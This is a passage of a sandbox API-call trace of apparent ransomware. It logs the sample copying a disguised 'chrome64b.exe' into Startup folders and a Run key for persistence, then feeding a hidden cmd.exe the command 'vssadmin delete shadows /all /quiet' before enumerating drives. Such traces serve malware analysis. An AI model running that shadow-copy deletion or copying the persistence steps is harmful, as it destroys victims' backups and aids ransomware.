lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\chrome64b.exe") returned 0x0 [0290.597] RegCloseKey (hKey=0x238) returned 0x0 [0290.597] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e550 | out: hHeap=0x700000) returned 1 [0290.597] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0290.597] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e0d0 | out: hHeap=0x700000) returned 1 [0290.597] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x75f8a0 [0290.597] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x76f8a8 [0290.597] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d9d0 [0290.597] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d9d0, Size=0x20) returned 0x738000 [0290.597] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738000, Size=0x40) returned 0x712768 [0290.597] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712768, Size=0x80) returned 0x73e0d0 [0290.597] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e0d0, Size=0x100) returned 0x73e0d0 [0290.597] lstrlenW (lpString="") returned 0 [0290.597] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.597] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8c) returned 0x73e1d8 [0290.597] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x238) returned 0x0 [0290.598] RegQueryValueExW (in: hKey=0x238, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x76f8a8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x76f8a8*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0290.598] RegCloseKey (hKey=0x238) returned 0x0 [0290.598] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e1d8 | out: hHeap=0x700000) returned 1 [0290.598] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.598] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8c) returned 0x73e1d8 [0290.598] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x23c) returned 0x0 [0290.601] RegQueryValueExW (in: hKey=0x23c, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x76f8a8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0290.601] RegCloseKey (hKey=0x23c) returned 0x0 [0290.601] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e1d8 | out: hHeap=0x700000) returned 1 [0290.601] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0290.601] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.601] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e0d0 | out: hHeap=0x700000) returned 1 [0290.601] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x75f8a0, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x5c [0290.602] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x76f8a8 | out: hHeap=0x700000) returned 1 [0290.602] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75f8a0 | out: hHeap=0x700000) returned 1 [0290.603] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x2446020 [0290.605] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73da60 [0290.605] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73da60, Size=0x20) returned 0x738190 [0290.605] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db08 [0290.605] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db08, Size=0x20) returned 0x738000 [0290.606] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.606] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.606] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0290.606] lstrlenW (lpString="kernel32.dll") returned 12 [0290.606] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738190 | out: hHeap=0x700000) returned 1 [0290.606] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.606] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738000 | out: hHeap=0x700000) returned 1 [0290.606] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0290.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0290.739] ReadFile (in: hFile=0x23c, lpBuffer=0x2446020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2446020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0290.751] WriteFile (in: hFile=0x240, lpBuffer=0x2446020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2446020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0290.834] ReadFile (in: hFile=0x23c, lpBuffer=0x2446020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2446020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0290.834] CloseHandle (hObject=0x240) returned 1 [0290.913] CloseHandle (hObject=0x23c) returned 1 [0290.914] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73da78 [0290.914] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73da78, Size=0x20) returned 0x738000 [0290.914] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73dad8 [0290.914] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73dad8, Size=0x20) returned 0x738140 [0290.914] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.914] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.914] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0290.914] lstrlenW (lpString="kernel32.dll") returned 12 [0290.914] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738140 | out: hHeap=0x700000) returned 1 [0290.914] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.914] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738000 | out: hHeap=0x700000) returned 1 [0290.914] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x2446020 | out: hHeap=0x700000) returned 1 [0290.919] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x75f8a0 [0290.920] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x76f8a8 [0290.920] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db68 [0290.920] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db68, Size=0x20) returned 0x738000 [0290.920] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738000, Size=0x40) returned 0x712b10 [0290.920] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712b10, Size=0x80) returned 0x73e0d0 [0290.920] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e0d0, Size=0x100) returned 0x73e0d0 [0290.920] lstrlenW (lpString="") returned 0 [0290.920] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.920] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8c) returned 0x73e1d8 [0290.920] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x23c) returned 0x0 [0290.920] RegQueryValueExW (in: hKey=0x23c, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x76f8a8, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0290.920] RegCloseKey (hKey=0x23c) returned 0x0 [0290.920] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e1d8 | out: hHeap=0x700000) returned 1 [0290.920] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0290.920] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.920] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e0d0 | out: hHeap=0x700000) returned 1 [0290.920] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe", lpDst=0x75f8a0, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe") returned 0x4b [0290.920] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x76f8a8 | out: hHeap=0x700000) returned 1 [0290.921] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75f8a0 | out: hHeap=0x700000) returned 1 [0290.921] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x2443020 [0290.924] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db98 [0290.924] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db98, Size=0x20) returned 0x738118 [0290.924] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db98 [0290.924] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db98, Size=0x20) returned 0x738000 [0290.924] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.924] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.924] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0290.924] lstrlenW (lpString="kernel32.dll") returned 12 [0290.925] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738118 | out: hHeap=0x700000) returned 1 [0290.925] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.925] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738000 | out: hHeap=0x700000) returned 1 [0290.925] CreateFileW (lpFileName="C:\\Windows\\System32\\chrome64b.exe" (normalized: "c:\\windows\\system32\\chrome64b.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0290.925] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0290.935] ReadFile (in: hFile=0x23c, lpBuffer=0x2443020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2443020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0290.946] WriteFile (in: hFile=0x240, lpBuffer=0x2443020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2443020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0290.948] ReadFile (in: hFile=0x23c, lpBuffer=0x2443020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2443020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0290.948] CloseHandle (hObject=0x240) returned 1 [0290.961] CloseHandle (hObject=0x23c) returned 1 [0290.961] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d8c8 [0290.961] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d8c8, Size=0x20) returned 0x738028 [0290.961] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db80 [0290.961] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db80, Size=0x20) returned 0x738000 [0290.961] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0290.961] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0290.961] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0290.961] lstrlenW (lpString="kernel32.dll") returned 12 [0290.961] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738000 | out: hHeap=0x700000) returned 1 [0290.961] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0290.961] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738028 | out: hHeap=0x700000) returned 1 [0290.961] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x2443020 | out: hHeap=0x700000) returned 1 [0290.966] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73f890 | out: hHeap=0x700000) returned 1 [0290.966] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x74f898 | out: hHeap=0x700000) returned 1 [0290.968] lstrlenW (lpString="%windir%\\System32") returned 17 [0290.968] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712960 | out: hHeap=0x700000) returned 1 [0290.968] lstrlenW (lpString="%appdata%") returned 9 [0290.968] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738348 | out: hHeap=0x700000) returned 1 [0290.968] lstrlenW (lpString="%sh(Startup)%") returned 13 [0290.968] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x737fd8 | out: hHeap=0x700000) returned 1 [0290.968] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0290.968] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x712a38 | out: hHeap=0x700000) returned 1 [0290.968] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73da30 [0290.968] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73da30, Size=0x20) returned 0x7381b8 [0290.968] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7381b8, Size=0x40) returned 0x7126d8 [0290.968] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7126d8, Size=0x80) returned 0x73e0d0 [0290.968] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db08 [0290.968] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73db08, Size=0x20) returned 0x738320 [0290.968] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1fffc) returned 0x73f890 [0290.969] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x75f898 [0290.969] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x76f8a0 [0290.969] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73d8e0 [0290.969] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73d8e0, Size=0x20) returned 0x7382a8 [0290.969] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7382a8, Size=0x40) returned 0x712cc0 [0290.969] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712cc0, Size=0x80) returned 0x73e158 [0290.969] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e158, Size=0x100) returned 0x73e158 [0290.969] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0290.969] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e158 | out: hHeap=0x700000) returned 1 [0290.969] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x75f898, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0290.969] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x76f8a0 | out: hHeap=0x700000) returned 1 [0290.970] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75f898 | out: hHeap=0x700000) returned 1 [0290.971] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x240, hWritePipe=0x19fd54*=0x244) returned 1 [0290.971] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x248, hWritePipe=0x19fdc4*=0x24c) returned 1 [0290.971] SetHandleInformation (hObject=0x244, dwMask=0x1, dwFlags=0x0) returned 1 [0290.971] SetHandleInformation (hObject=0x248, dwMask=0x1, dwFlags=0x0) returned 1 [0290.971] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x240, hStdOutput=0x24c, hStdError=0x24c), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x254, hThread=0x250, dwProcessId=0xf64, dwThreadId=0xf68)) returned 1 [0291.008] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0291.008] WriteFile (in: hFile=0x244, lpBuffer=0x73e0d0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x73e0d0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0291.008] CloseHandle (hObject=0x254) returned 1 [0291.008] CloseHandle (hObject=0x250) returned 1 [0291.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73f890 | out: hHeap=0x700000) returned 1 [0291.008] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0291.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x73e0d0 | out: hHeap=0x700000) returned 1 [0291.008] lstrlenW (lpString="%comspec%") returned 9 [0291.008] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x738320 | out: hHeap=0x700000) returned 1 [0291.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250 [0291.008] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x73d8e0 [0291.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x73d8e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254 [0291.009] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c6a0 [0291.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x73c6a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0291.009] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73da48 [0291.009] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73da48, Size=0x20) returned 0x7381b8 [0291.009] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7381b8, Size=0x40) returned 0x712918 [0291.010] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xd0) returned 0x7165f0 [0291.010] GetLogicalDrives () returned 0x4 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10014) returned 0x73f890 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73da78 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73da78, Size=0x20) returned 0x738078 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738078, Size=0x40) returned 0x712cc0 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x712cc0, Size=0x80) returned 0x73e0d0 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e0d0, Size=0x100) returned 0x73e358 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e358, Size=0x200) returned 0x74f8b0 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x74f8b0, Size=0x400) returned 0x74f8b0 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x74f8b0, Size=0x800) returned 0x74f8b0 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x74f8b0, Size=0x1000) returned 0x74f8b0 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x75feb8 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x73db08 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x73d958 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x73c5c0 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x73db80 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x4) returned 0x73c660 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73da48 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73c660, Size=0x8) returned 0x73c750 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73da18 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73c750, Size=0x10) returned 0x73da30 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73db38 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73db50 [0291.010] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73da30, Size=0x20) returned 0x738078 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73daa8 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c790 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x73da00 [0291.010] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x73d8c8 [0291.011] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x738078, Size=0x40) returned 0x7126d8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x73da90 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x73d8b0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x73db98 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xe) returned 0x73d8f8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73daf0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73d940 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c670 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73d9a0 [0291.011] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x7126d8, Size=0x80) returned 0x73e0d0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73da60 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73d928 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73d9b8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73db20 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73d9d0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x73da30 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73da78 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x8) returned 0x73c760 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73dac0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73dad8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x73d9e8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73db68 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x73dbf8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73dbc8 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xc) returned 0x73dc40 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73dc10 [0291.011] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x73e0d0, Size=0x100) returned 0x73e358 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x73dbb0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7120d0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xa) returned 0x7509c0 [0291.011] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x750948 